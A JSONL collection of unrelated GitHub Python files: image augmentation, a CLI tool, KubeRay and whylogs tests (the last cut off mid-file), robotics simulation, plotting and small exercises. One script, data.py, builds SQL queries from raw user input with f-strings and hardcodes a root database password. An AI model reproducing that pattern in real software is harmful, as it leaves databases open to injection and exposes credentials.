+{"seq_id":"28119489075","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 16 11:37:00 2020\n\n@author: alex\n\"\"\"\n\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pathlib\nimport AugmentationTechniques as AT\nimport cv2\nimport os\nimport glob\nimport tensorflow_datasets as tfds\n\n\ndoCLAHE = 0\ndoAugmentation = 1\n\ndef CallAugmentationFunctions(tech):\n if tech == 'zoom':\n augmentation = AT.zoom\n elif tech == 'rotate':\n augmentation = AT.rotate\n elif tech == 'contrast':\n augmentation = AT.contrast\n elif tech == 'brightness':\n augmentation = AT.brightness\n elif tech == 'flip':\n augmentation = AT.flip\n return augmentation\n\ndef applyCLAHE(dirName, dirDataset, folderCatergory, imgList, clipLim, tilegridSize):\n \"\"\"\n Histogram Equalization considers the global contrast of the image, may not give good results.\n Adaptive histogram equalization divides images into small tiles and performs hist. eq.\n Contrast limiting is also applied to minimize aplification of noise.\n Together the algorithm is called: Contrast Limited Adaptive Histogram Equalization (CLAHE)\n \"\"\"\n \n folderClahe = 'dataset_clahe/'\n # Start by creating a CLAHE object (Arguments are optional).\n clahe = cv2.createCLAHE(clipLimit=clipLim, tileGridSize=(tilegridSize,tilegridSize)) #Define tile size and clip limit. \n \n for i in range(len(imgList)):\n # for i in range(3):\n imgName = os.path.basename(dirName + imgList[i])\n # Read image\n img = cv2.imread(dirName + imgName) \n img = cv2.resize(img, (224,224), interpolation = cv2.INTER_AREA)\n # Apply CLAHE and save in clahe-folder\n cl = np.zeros((224,224,3))\n for j in range(img.shape[2]): \n cl[:,:,j] = clahe.apply(img[:,:,j])\n \n if os.path.isdir(dirDataset + folderClahe) == False:\n os.mkdir(dirDataset + folderClahe)\n if os.path.isdir(dirDataset + folderClahe + folderCatergory) == False:\n os.mkdir(dirDataset + folderClahe + folderCatergory)\n cv2.imwrite(dirDataset + folderClahe + folderCatergory + '/' + imgName, cl) \n \ndef applyAugmentation(dirName, dirDataset, folderCatergory, imgList, augmentation_techniques):\n AUTOTUNE = tf.data.experimental.AUTOTUNE\n folderAugmentation = 'dataset_clahe_augmentedTF/'\n \n for i in range(len(imgList)):\n # for i in range(10):\n imgName = os.path.basename(dirName + imgList[i])\n img = cv2.imread(dirName + imgName).astype(np.float32)#/255\n img = np.reshape(img,(1, img.shape[0], img.shape[1], img.shape[2]))\n img = tf.data.Dataset.from_tensor_slices(img)\n if os.path.isdir(dirDataset + folderAugmentation) == False:\n os.mkdir(dirDataset + folderAugmentation)\n if os.path.isdir(dirDataset + folderAugmentation + folderCatergory) == False:\n os.mkdir(dirDataset + folderAugmentation + folderCatergory)\n for key in augmentation_techniques:\n # Call augmentation function\n f = CallAugmentationFunctions(key)\n img_agm = 0\n # img_agm = img.map(lambda x: tf.cond(lambda: f(x), lambda: x), num_parallel_calls=4)\n img_agm = img.map(lambda x: tf.cond(tf.random.uniform([], 0, 1) > 0, lambda: f(x), lambda: x), num_parallel_calls=4)\n # img_agm = img_agm.map(lambda x: tf.clip_by_value(x, 0, 1)) \n img_agm=tfds.as_numpy(img_agm, graph=None)\n img_agm=np.array(list(img_agm))\n img_agm = np.reshape(img_agm,(img_agm.shape[1], img_agm.shape[2], img_agm.shape[3]))#*255\n cv2.imwrite(dirDataset + folderAugmentation + folderCatergory + '/' + imgName + key + '.jpg' , img_agm) \n \n\n# Insert the path to the locally stored datasets\n# last level of path (here datasets) initally contains a single subfolder in \n# which the raw data is stored: dirRawData, other subfolders for the processed \n# data are created\ndirDataset = '/media/alex/shared/documents/Uni/Masterstudium/Auslandsstudium/DD2424/project/datasets/'\ndirRawData = 'dataset_raw/'\ndirClaheData = 'dataset_clahe/'\n\n###############################################################################\nif doCLAHE:\n # Get the classification subfolders\n folderList = os.listdir(dirDataset + dirRawData)\n \n for dd in range(len(folderList)):\n dirName = dirDataset + dirRawData + folderList[dd] + '/'\n # For the given path, get the List of all images in the directory tree \n imgList = glob.glob(dirName + '*.jpeg')\n imgList.extend(glob.glob(dirName + '*.png'))\n imgList.extend(glob.glob(dirName + '*.jpg'))\n # Apply CAHE\n applyCLAHE(dirName, dirDataset, folderList[dd], imgList, clipLim = 4, tilegridSize = 9)\n \n ############################################################################# \nif doAugmentation: \n augmentation_techniques = {'zoom', 'flip', 'contrast', 'brightness'}\n \n images = {'original': []}\n \n # Get the classification subfolders\n folderList = os.listdir(dirDataset + dirClaheData)\n #\n for dd in range(len(folderList)):\n dirName = dirDataset + dirClaheData + folderList[dd] + '/'\n # For the given path, get the List of all images in the directory tree \n imgList = glob.glob(dirName + '*.jpeg')\n imgList.extend(glob.glob(dirName + '*.png'))\n imgList.extend(glob.glob(dirName + '*.jpg'))\n applyAugmentation(dirName, dirDataset, folderList[dd], imgList, augmentation_techniques)\n \n\n","repo_name":"RandomeName745/DD2424---Project-Covid-19","sub_path":"clahe_and_augmentation/ApplyClaheAndAugmentation.py","file_name":"ApplyClaheAndAugmentation.py","file_ext":"py","file_size_in_byte":5579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"36591025310","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nProject: mtutils\nFile: mtutils.py\n\"\"\"\n\nfrom __future__ import (absolute_import, division, print_function, unicode_literals)\nfrom builtins import *\n\n__version__ = \"0.0.11\"\n\nimport argparse\n\nfrom mtutils.package import create_package, delete_package\nfrom mtutils.file import search_files, search_content\n\n\ndef getargs():\n description = \"\"\"CLI Utilities\"\"\"\n parser = argparse.ArgumentParser(description=description, formatter_class=argparse.RawTextHelpFormatter)\n parser.set_defaults(which='main')\n parser.add_argument('--version', action='version', version=__version__)\n\n subparsers = parser.add_subparsers(\n title='subcommands',\n description='valid subcommands',\n help='Additional help')\n\n package_parser = subparsers.add_parser('package',help='Python package utilities', description='Python package tools')\n package_parser.set_defaults(which='package')\n package_parser.add_argument('-c','--create', action='store', metavar='NAME', help='creates a template python package directory')\n package_parser.add_argument('-d','--delete', action='store', metavar='NAME', help='deletes a python package directory')\n\n file_parser = subparsers.add_parser('file', help='Python filesystem utilities', description='Filesystem tools')\n file_parser.set_defaults(which='file')\n file_parser.add_argument('-s','--search', action='store', metavar='NAME', help='searches for files matching a pattern')\n file_parser.add_argument('-c','--content', action='store', metavar='NAME', help='searches for text in files matching a pattern')\n\n return parser.parse_args()\n\n\ndef main():\n args = getargs()\n\n if args.which == 'main':\n print(\"You are in main menu\")\n elif args.which == 'package':\n if args.create:\n create_package(args)\n elif args.delete:\n delete_package(args)\n elif args.which == 'file':\n if args.search:\n search_files()\n elif args.content:\n search_content()\n","repo_name":"mtecer/mtutils","sub_path":"mtutils/mtutils.py","file_name":"mtutils.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"38175811907","text":"''' Test sample RayCluster YAML files to catch invalid and outdated ones. '''\nimport logging\nimport unittest\nimport os\nimport git\nimport yaml\n\nfrom framework.prototype import (\n RuleSet,\n GeneralTestCase,\n RayClusterAddCREvent,\n HeadPodNameRule,\n EasyJobRule,\n HeadSvcRule,\n)\n\nfrom framework.utils import (\n CONST\n)\n\nlogger = logging.getLogger(__name__)\n\nif __name__ == '__main__':\n NAMESPACE = 'default'\n SAMPLE_PATH = CONST.REPO_ROOT.joinpath(\"ray-operator/config/samples/\")\n\n sample_yaml_files = []\n\n # Paths of untracked files, specified as strings, relative to KubeRay\n # git root directory.\n untracked_files = set(\n git.Repo(CONST.REPO_ROOT).untracked_files\n )\n\n for file in os.scandir(SAMPLE_PATH):\n if not file.is_file():\n continue\n # For local development, skip untracked files.\n if os.path.relpath(file.path, CONST.REPO_ROOT) in untracked_files:\n continue\n with open(file, encoding=\"utf-8\") as cr_yaml:\n for k8s_object in yaml.safe_load_all(cr_yaml):\n if k8s_object['kind'] == 'RayCluster':\n sample_yaml_files.append(\n {'path': file.path, 'name': file.name, 'cr': k8s_object}\n )\n break\n\n skip_tests = {\n 'ray-cluster.complete.large.yaml': 'Skip this test because it requires a lot of resources.',\n 'ray-cluster.autoscaler.large.yaml':\n 'Skip this test because it requires a lot of resources.',\n 'ray-cluster-tpu.yaml': 'Skip this test because it requires TPU resources.',\n 'ray-cluster.gke-bucket.yaml': 'Skip this test because it requires GKE and k8s service accounts.',\n }\n\n rs = RuleSet([HeadPodNameRule(), EasyJobRule(), HeadSvcRule()])\n image_dict = {\n CONST.RAY_IMAGE_KEY: os.getenv('RAY_IMAGE', default='rayproject/ray:2.7.0'),\n CONST.OPERATOR_IMAGE_KEY: os.getenv('OPERATOR_IMAGE', default='kuberay/operator:nightly'),\n }\n logger.info(image_dict)\n # Build a test plan\n logger.info(\"Build a test plan ...\")\n test_cases = unittest.TestSuite()\n for index, new_cr in enumerate(sample_yaml_files):\n if new_cr['name'] in skip_tests:\n logger.info('[SKIP TEST %d] %s: %s', index, new_cr['name'], skip_tests[new_cr['name']])\n continue\n logger.info('[TEST %d]: %s', index, new_cr['name'])\n addEvent = RayClusterAddCREvent(new_cr['cr'], [rs], 90, NAMESPACE, new_cr['path'])\n test_cases.addTest(GeneralTestCase('runtest', image_dict, addEvent))\n\n # Execute all tests\n runner = unittest.TextTestRunner()\n test_result = runner.run(test_cases)\n\n # Without this line, the exit code will always be 0.\n assert test_result.wasSuccessful()\n","repo_name":"ray-project/kuberay","sub_path":"tests/test_sample_raycluster_yamls.py","file_name":"test_sample_raycluster_yamls.py","file_ext":"py","file_size_in_byte":2794,"program_lang":"python","lang":"en","doc_type":"code","stars":576,"dataset":"github-code","pt":"69"} +{"seq_id":"12905510822","text":"\nimport pymysql\n\nconn = pymysql.connect(charset='utf8', host=\"127.0.0.1\",\n password=\"123123\", port=3306, user='root',database='test3')\n\ncursor = conn.cursor()\n\n\n# def select():\n# sql = \"\"\"\n# SELECT * FROM table1\n# \"\"\"\n# cursor.execute(sql)\n# result = cursor.fetchall()\n# print(result)\n\ndef task1():\n #2023-01-01/2023-01-07期間, 每個dimension1不為0的用戶所的用戶所造成的metric4值加總, 並依加總由大到小排列,\n input_start = input('input start date(yyyy-mm-dd): example: 2023-01-01\\n')\n input_end = input('input end date(yyyy-mm-dd): example: 2023-01-07\\n')\n sql = f\"\"\"\n SELECT user_id, SUM(metric4) as metric4_sum FROM table1\n WHERE __time BETWEEN '{input_start}' AND '{input_end}' AND dimension1 != '0'\n GROUP BY user_id\n ORDER BY metric4_sum DESC\n \"\"\"\n cursor.execute(sql)\n result = cursor.fetchall()\n print(result)\n # dump answer to task1.csv\n with open('task1.csv', 'w') as f:\n for row in result:\n f.write(\"%s,%s\\n\" % (row[0], row[1]))\n\ndef task2():\n # 過去7天, 每日的DAU數值(單日不重複user_id的加總) 格式為 data,DAU\n input_start = input('input start date(yyyy-mm-dd): example: 2023-01-01\\n')\n input_end = input('input end date(yyyy-mm-dd): example: 2023-01-07\\n')\n # sql = \"\"\"\n # SELECT __time, COUNT(DISTINCT user_id) as DAU FROM table1\n # WHERE __time BETWEEN '2023-01-01 00:00:00' AND '2023-01-07 00:00:00'\n # GROUP BY __time\n # \"\"\"\n sql = f\"\"\"\n \n SELECT __time, COUNT(DISTINCT user_id) as DAU FROM table1\n WHERE __time BETWEEN '{input_start}' AND '{input_end}'\n GROUP BY __time\n \"\"\"\n cursor.execute(sql)\n result = cursor.fetchall()\n print(result)\n # dump answer to task2.csv\n with open('task2.csv', 'w') as f:\n for row in result:\n f.write(\"%s,%s\\n\" % (row[0], row[1]))\n\n\n\n\nif __name__ == \"__main__\":\n task1()\n task2()","repo_name":"skywalker0823/test","sub_path":"test3/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"15495719944","text":"coord = [0,0]\ndir = 0\ndirs = [0,1,2,3]\n\" up, right, left, down\"\n\nwith open(\"day1.txt\") as file:\n data = file.read().split(\", \")\ndata[-1] = data[-1][:-1]\n# cut last \\n off data\nvisited = []\n\nfor instr in data:\n if instr[0] == \"L\":\n dir -= 1\n else:\n dir += 1\n if dir == -1:\n dir = 3\n if dir == 4:\n dir = 0\n\n if dir in [0,1]:\n\n for i in range(int(instr[1:])):\n coord[dir%2]+= 1\n temp = coord.copy()\n if temp in visited:\n print(temp)\n else:\n visited.append(temp)\n else:\n for i in range(int(instr[1:])):\n coord[dir%2]-= 1\n temp = coord.copy()\n if temp in visited:\n print(temp)\n else:\n visited.append(temp)\n\nsum = 0\nfor val in coord:\n sum+=abs(val)\n\nprint(sum)\n","repo_name":"Anshuman-UCSB/2016-Advent-Of-Code","sub_path":"py/Day 1/day1.py","file_name":"day1.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"3380683428","text":"import pybullet as p\nimport pybullet_data\nimport os\nimport time\nimport random\n\n# basic requirements\ndef loadWorld():\n p.connect(p.GUI)\n p.setGravity(0,0,-10)\n p.loadURDF(os.path.join(pybullet_data.getDataPath(), \"plane.urdf\"), 0, 0, 0)\n\n# draw gridlines\ndef drawGrid():\n for i in range(31):\n p.addUserDebugLine([0, i*0.5, 0], [15, i*0.5, 0], [1, 0, 0], 5, 0)\n p.addUserDebugLine([i*0.5, 0, 0], [i*0.5, 15, 0], [1, 0, 0], 5, 0)\n for i in range(30):\n p.addUserDebugLine([0, 0.5*i+0.25, 0], [15, 0.5*i+0.25, 0], [0, 1, 0], 2.5, 0)\n p.addUserDebugLine([0.5*i+0.25, 0, 0], [0.5*i+0.25, 15, 0], [0, 1, 0], 2.5, 0)\n\n# load boxes\ndef loadBoxes(x, y):\n x_coord = [0.25+0.5*i for i in range(30)]\n y_coord = [0.25+0.5*i for i in range(30)]\n for i in range(len(x)):\n p.loadURDF(os.path.join(os.getcwd(), \"cubes/cube_\"+str(i+1)+\".urdf\"), [x_coord[x[i]-1], y_coord[y[i]-1], 0])\n\n# load gripper\ndef loadGripper():\n robotPos=[0,0,0]\n robotOrn=p.getQuaternionFromEuler([0,0,0])\n gripper = p.loadURDF(os.path.join(os.getcwd(), \"gripper.urdf\"), robotPos, robotOrn)\n p.createConstraint(gripper, -1, -1, -1, p.JOINT_FIXED, [0,0,0], [0,0,-1], [0,0,0])\n p.getNumJoints(gripper)\n return gripper\n\n\n\ndef reachXY(x, y, u, g, gripper):\n while(abs(p.getLinkState(gripper, 3)[0][0]-x)>0.0005 or abs(p.getLinkState(gripper, 3)[0][1]-y+0.176-g)>0.005):\n p.setJointMotorControl2(gripper, 0, p.POSITION_CONTROL, -7.5+x, force=10)\n p.setJointMotorControl2(gripper, 1, p.POSITION_CONTROL, -7.5+y-0.076, force=10)\n p.setJointMotorControl2(gripper, 4, p.POSITION_CONTROL, u, force=60)\n time.sleep(1./240.)\n p.stepSimulation()\n \ndef lowerDown(u, gripper):\n while(p.getLinkState(gripper, 3)[0][2]>0.05):\n p.setJointMotorControl2(gripper, 2, p.POSITION_CONTROL, -1.45, force=70)\n p.setJointMotorControl2(gripper, 4, p.POSITION_CONTROL, u, force=60)\n time.sleep(1./240.)\n p.stepSimulation()\n \ndef liftUp(u, gripper):\n while(p.getLinkState(gripper, 3)[0][2]<0.5):\n p.setJointMotorControl2(gripper, 2, p.POSITION_CONTROL, 0, force=100)\n p.setJointMotorControl2(gripper, 4, p.POSITION_CONTROL, u, force=60)\n time.sleep(1./240.)\n p.stepSimulation()\n\ndef Gripper(a, gripper):\n i=0\n while(i<200):\n p.setJointMotorControl2(gripper, 3, p.POSITION_CONTROL, a, force=10)\n p.setJointMotorControl2(gripper, 4, p.POSITION_CONTROL, 0, force=60)\n i+=1\n time.sleep(1./240.)\n p.stepSimulation()\n\ndef lock(a, gripper):\n i=0\n while(i<200):\n p.setJointMotorControl2(gripper, 4, p.POSITION_CONTROL, a, force=60)\n i+=1\n time.sleep(1./240.)\n p.stepSimulation()\n\ndef pick(x, y, gripper):\n reachXY(x, y, 0, 0, gripper)\n lowerDown(0, gripper)\n Gripper(0.13, gripper)\n lock(0.02, gripper)\n liftUp(0.02, gripper)\n \n\ndef place(x, y, gripper):\n reachXY(x, y, 0.02, 0.13, gripper)\n lowerDown(0.02, gripper)\n lock(0, gripper)\n Gripper(0, gripper)\n liftUp(0, gripper)\n\nif __name__==\"__main__\":\n loadWorld()\n drawGrid()\n x = [1, 2, 3]\n y = [2, 3, 4]\n loadBoxes(x, y) # pass two lists of of same length of x and y coordinates.\n gripper = loadGripper()\n pick(0.25+0.5*x[0], 0.25+0.5*y[0], gripper)\n place(0.25+0.5*7, 0.25+0.5*9, gripper)","repo_name":"Somya-Bansal159/A-basic-gripper","sub_path":"gripper.py","file_name":"gripper.py","file_ext":"py","file_size_in_byte":3375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"26479433666","text":"import argparse\nimport harness\nimport copy\nimport random\n\ndef do_bogus(q, a):\n while not sorted(a):\n random.shuffle(a)\n q.put(copy.deepcopy(a))\n\ndef sorted(a):\n '''Is the list already sorted?'''\n last = a[0]\n for i in a:\n if last > i:\n return False\n last = i\n return True\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--len', type=int, help=\"length of array\",\n required=False, default=100)\n args = parser.parse_args()\n harness.SortHarness(do_bogus, args.len).go()\n","repo_name":"wrigjl/manysorts","sub_path":"bogus.py","file_name":"bogus.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"15983088708","text":"from datetime import datetime\nimport pandas as pd\nfrom plotly import graph_objects as go, colors\nfrom plotly.subplots import make_subplots\nimport pymmwr\n\nimport config\nfrom data_loader import LabData, import_hl7_data\nfrom config import time_var, grouping_var\nfrom compile_race_counts_v2 import compile_hl7_race_parallel\n\n\nclass LabRaceData:\n def __init__(self, labname, race_df, percentage_df, lab_totals):\n self.lab_name = labname\n self.race_df = race_df\n self.percentage_df = percentage_df\n self.lab_totals = lab_totals\n\n# dictionary of variables and colors for plots\ncolors = [colors.qualitative.Plotly[0],\n colors.qualitative.Plotly[1],\n colors.qualitative.Plotly[2],\n colors.qualitative.Plotly[3],\n colors.qualitative.Plotly[4],\n colors.qualitative.Plotly[5],\n colors.qualitative.Plotly[6],\n 'black',\n 'gray',\n 'blue'\n ]\n\nvarnames = ['American Indian or Alaska Native',\n 'Asian',\n 'Black or African American',\n 'Native Hawaiian or Other Pacific Islander',\n 'White',\n 'Other',\n 'Unknown or Refused to Answer',\n 'Misformatted',\n 'Missing'\n ]\n\ncolor_dict = dict(zip(varnames, colors))\n\n\ndef prep_weekly_data(lab_object):\n lab_name = lab_object.lab_name\n lab_race_df = lab_object.race\n lab_race_df['Total Count'] = 1\n lab_race_df = lab_race_df.groupby(time_var, as_index=False).sum()\n mmwrwk = []\n week_ending = []\n for val in lab_race_df[time_var]:\n # dt = datetime.strptime(val, '%Y-%m-%d')\n # convert date to mmwr week\n mmwr = pymmwr.date_to_epiweek(val.date())\n mmwrwk.append(mmwr)\n mmwr2 = pymmwr.Epiweek(mmwr.year, mmwr.week, 7)\n week_ending_date = pymmwr.epiweek_to_date(mmwr2)\n week_ending.append(week_ending_date)\n lab_race_df['Week Ending'] = week_ending\n lab_race_df.drop(time_var, axis=1, inplace=True)\n\n # aggregate by week\n lab_race_df = lab_race_df.groupby('Week Ending', as_index=False).sum()\n\n # create percentage df\n lab_percentages = lab_race_df.copy()\n lab_percentages[varnames] = lab_percentages[varnames].div(lab_percentages['Total Count'], axis=0)\n\n lab_totals = lab_race_df.drop('Week Ending', axis=1).sum().reset_index()\n lab_totals.columns = ['race', 'total']\n output_race_data = LabRaceData(lab_name, lab_race_df, lab_percentages, lab_totals)\n return output_race_data\n\n\ndef make_lab_dropdown(dropdown_race_data_list):\n dropdown = []\n num_vars = len(varnames)\n num_labs = len(dropdown_race_data_list)\n\n # total number of traces in the chart is (2*numVars+2)*numLabs.\n # first 2 subplots each have (num_vars) traces, third subplot always has just 1 trace. repeat for each lab\n vis_length = (2 * num_vars + 1) * num_labs\n for i, lab_item in enumerate(dropdown_race_data_list):\n vis = [False] * vis_length\n # starting at correct index, set adjacent visibilities to True to display correct batch of traces for each dropdown selection\n bounds = [(2 * num_vars + 1) * i + k for k in range(2 * num_vars + 1)]\n for v in bounds:\n vis[v] = True\n dropdown.append(dict(\n args=[{'visible': vis}],\n label=lab_item.lab_name,\n method='restyle'\n ))\n return dropdown\n\n\ndef make_figure(plot_input_list):\n fig = make_subplots(rows=3, cols=1,\n specs=[[{'type': 'bar'}],\n [{'type': 'bar'}],\n [{'type': 'bar'}]],\n subplot_titles=['Race Count by Week',\n 'Race Percentage by Week',\n 'Total Count'])\n for i, data in enumerate(plot_input_list):\n vis = False\n if i == 0:\n vis = True\n\n use_df = pd.melt(data.race_df, id_vars=['Week Ending'])\n use_percent = pd.melt(data.percentage_df, id_vars=['Week Ending'])\n\n for j, var in enumerate(varnames):\n # Trace 1: stacked barplot\n x_data = use_df['Week Ending']\n y_data = use_df.loc[use_df['variable'] == var]['value']\n if j == 0:\n base_vals = [0] * len(y_data)\n trace1 = go.Bar(x=x_data,\n y=y_data,\n name=var,\n visible=vis,\n marker_color=color_dict[var],\n offsetgroup=0,\n base=base_vals\n )\n fig.add_trace(trace1, row=1, col=1)\n # update base values to stack next bar trace on top of current one\n base_vals = [a + b for a, b in zip(base_vals, y_data)]\n\n ## Trace 2: percent distribution by week\n x_data_2 = use_percent['Week Ending']\n y_data_2 = use_percent.loc[use_percent['variable'] == var]['value']\n\n if j == 0:\n base_vals_2 = [0] * len(y_data_2)\n trace2 = go.Bar(x=x_data_2,\n y=y_data_2,\n name=var,\n visible=vis,\n marker_color=color_dict[var],\n showlegend=False,\n offsetgroup=0,\n base=base_vals_2\n )\n fig.add_trace(trace2, row=2, col=1)\n\n # update new bases for bar plot to stack the next trace on top of current one\n base_vals_2 = [c + d for c, d in zip(base_vals_2, y_data_2)]\n\n # trace 3: overall distribution\n use_total_df = data.lab_totals\n x_data_3 = use_total_df['race']\n y_data_3 = use_total_df['total']\n trace3 = go.Bar(x=x_data_3,\n y=y_data_3,\n visible=vis,\n #offsetgroup=j,\n name='Total Counts in Date Range',\n marker_color=colors,\n showlegend=False,\n )\n fig.add_trace(trace3, row=3, col=1)\n\n return fig\n\ndef update_fig(figure, dropdown):\n figure.update_xaxes(title='Date')\n figure.update_layout(\n title_text='ELR Race Data by Lab',\n # hovermode = 'x',\n height=1200,\n width=1000,\n title_y=1.00,\n margin=dict(t=140),\n # barmode='stack'\n )\n\n figure.update_layout(\n updatemenus=[\n # Dropdown menu for choosing the lab\n dict(\n buttons=dropdown,\n direction='down',\n showactive=True,\n x=0.0,\n xanchor='left',\n y=1.08,\n yanchor='top'\n )\n ]\n )\n figure['layout']['xaxis3']['title'] = 'Patient Race'\n return figure\n\n\n# to be called by run_all script with external data:\ndef generate_race_plots(lab_data_list_input):\n weekly_race_data_list = []\n lab_data_list_input.sort()\n for lab_item in lab_data_list_input:\n lab_race_data = prep_weekly_data(lab_item)\n weekly_race_data_list.append(lab_race_data)\n\n dropdown_labs = make_lab_dropdown(weekly_race_data_list)\n plotted_fig = make_figure(weekly_race_data_list)\n finished_fig = update_fig(plotted_fig, dropdown_labs)\n finished_fig.to_html(f'{config.output_folder}/plotly_race_viz.html')\n return finished_fig\n\n# to run from beginning, just for race viz\nif __name__ == '__main__':\n lab_data_list = import_hl7_data()\n lab_data_list = compile_hl7_race_parallel(lab_data_list)\n race_data_list = []\n for lab in lab_data_list:\n lab_race_data = prep_weekly_data(lab)\n race_data_list.append(lab_race_data)\n\n dropdown_labs = make_lab_dropdown(race_data_list)\n plotted_fig = make_figure(race_data_list)\n output_fig = update_fig(plotted_fig, dropdown_labs)\n","repo_name":"onopa/elrqc","sub_path":"plotly_race_barchart_v2.py","file_name":"plotly_race_barchart_v2.py","file_ext":"py","file_size_in_byte":8021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"21378203815","text":"import datetime\nimport logging\nimport os\nimport random\nimport string\nimport tempfile\nfrom unittest.mock import MagicMock\n\nimport pytest\nimport responses\nfrom platformdirs import PlatformDirs\nfrom responses import PUT\n\nimport whylogs as why\nfrom whylogs.api.logger.result_set import SegmentedResultSet\nfrom whylogs.api.whylabs.session.config import EnvVariableName, SessionConfig\nfrom whylogs.api.whylabs.session.session_manager import (\n SessionManager,\n get_current_session,\n init,\n)\nfrom whylogs.api.whylabs.session.session_types import SessionType\nfrom whylogs.api.whylabs.session.whylabs_client_cache import WhylabsClientCache\nfrom whylogs.api.writer import Writers\nfrom whylogs.api.writer.whylabs import WhyLabsWriter\nfrom whylogs.core.feature_weights import FeatureWeights\nfrom whylogs.core.schema import DatasetSchema\nfrom whylogs.core.segmentation_partition import segment_on_column\n\nlogger = logging.getLogger(__name__)\ndirs = PlatformDirs(\"whylogs_tests\", \"whylogs\")\n\n\ndef _random_str(n: int) -> str:\n return \"\".join(random.choices(string.ascii_letters + string.digits, k=n))\n\n\nclass TestWhylabsWriterWithSession(object):\n # So we don't delete our own configs while running tests\n def setup_method(self) -> None:\n WhylabsClientCache.reset()\n SessionManager.reset()\n\n os.environ[EnvVariableName.WHYLOGS_CONFIG_PATH.value] = f\"{dirs.user_cache_dir}/whylogs_{_random_str(5)}.ini\"\n\n config = SessionConfig()\n config.reset_config()\n\n def teardown_method(self) -> None:\n WhylabsClientCache.reset()\n SessionManager.reset()\n del os.environ[EnvVariableName.WHYLOGS_CONFIG_PATH.value]\n\n @pytest.fixture\n def results(self, pandas_dataframe):\n return why.log(pandas=pandas_dataframe)\n\n def test_writer_throws_for_anon_sessions(self, results) -> None:\n old_key = os.environ.get(EnvVariableName.WHYLABS_API_KEY.value, None)\n if EnvVariableName.WHYLABS_API_KEY.value in os.environ:\n os.environ.pop(EnvVariableName.WHYLABS_API_KEY.value)\n session = init() # Default session is anonymous in this case (no config file content)\n if old_key:\n os.environ[EnvVariableName.WHYLABS_API_KEY.value] = old_key\n\n assert session.get_type() == SessionType.WHYLABS_ANONYMOUS\n\n with pytest.raises(ValueError):\n WhyLabsWriter().write(results.profile())\n\n def test_writer_works_for_anon_with_overrides(self) -> None:\n old_key = os.environ.get(EnvVariableName.WHYLABS_API_KEY.value, None)\n if EnvVariableName.WHYLABS_API_KEY.value in os.environ:\n os.environ.pop(EnvVariableName.WHYLABS_API_KEY.value)\n key_id = \"MPq7Hg002z\"\n org_id = \"org-xxxxxx\"\n api_key = f\"{key_id}.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:{org_id}\"\n\n # You can use the writer if the session is anonymous, but you must provide the required args\n session = init() # Default session is anonymous in this case (no config file content)\n\n if old_key:\n os.environ[EnvVariableName.WHYLABS_API_KEY.value] = old_key\n\n assert session.get_type() == SessionType.WHYLABS_ANONYMOUS\n\n # No error\n writer = WhyLabsWriter(\n api_key=api_key,\n dataset_id=\"dataset_id\",\n org_id=\"org_id\",\n )\n\n assert writer.key_id == api_key.split(\".\")[0]\n\n def test_writer_uses_session_for_creds(self) -> None:\n key_id = \"MPq7Hg002z\"\n org_id = \"org-xxxxxx\"\n dataset_id = \"model-2\"\n api_key = f\"{key_id}.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:{org_id}\"\n session = init(whylabs_api_key=api_key, default_dataset_id=dataset_id)\n\n assert session.get_type() == SessionType.WHYLABS\n\n writer = WhyLabsWriter()\n assert writer.key_id == key_id\n assert writer._org_id == org_id\n assert writer._dataset_id == dataset_id\n\n def test_writer_uses_session_for_creds_implicitly(self) -> None:\n key_id = \"MPq7Hg002z\"\n org_id = \"org-xxxxxx\"\n dataset_id = \"model-2\"\n api_key = f\"{key_id}.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:{org_id}\"\n os.environ[\"WHYLABS_API_KEY\"] = api_key\n os.environ[\"WHYLABS_DEFAULT_DATASET_ID\"] = dataset_id\n\n writer = WhyLabsWriter()\n assert writer.key_id == key_id\n assert writer._org_id == org_id\n assert writer._dataset_id == dataset_id\n\n session = get_current_session()\n assert session is not None\n # Session is local, so nothing happens automatically outside of writer.\n assert session.get_type() == SessionType.LOCAL\n\n del os.environ[\"WHYLABS_API_KEY\"]\n del os.environ[\"WHYLABS_DEFAULT_DATASET_ID\"]\n\n def test_implicit_session_init_fails_without_env_config_set(self, results) -> None:\n with pytest.raises(ValueError):\n WhyLabsWriter().write(results)\n\n def test_implicit_init_works_from_config_file(self) -> None:\n # Generate a len 10 alphanum string\n key_id = _random_str(10)\n org_id = f\"org-{_random_str(6)}\"\n dataset_id = \"model-2\"\n api_key = f\"{key_id}.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:{org_id}\"\n\n #\n # Part 1: Set up a config file\n #\n config = SessionConfig()\n config.reset_config()\n config.set_api_key(api_key)\n config.set_default_dataset_id(dataset_id)\n session = get_current_session()\n assert session is None # No init happened yet\n\n #\n # Part 2: Make sure the implicit init uses the config file\n #\n writer = WhyLabsWriter()\n assert writer.key_id == key_id\n assert writer._org_id == org_id\n assert writer._dataset_id == dataset_id\n\n session = get_current_session()\n assert session is not None\n assert session.get_type() == SessionType.LOCAL\n\n # Clean it up\n config.reset_config()\n\n\n_api_key = \"0123456789.any\"\n\n\nclass 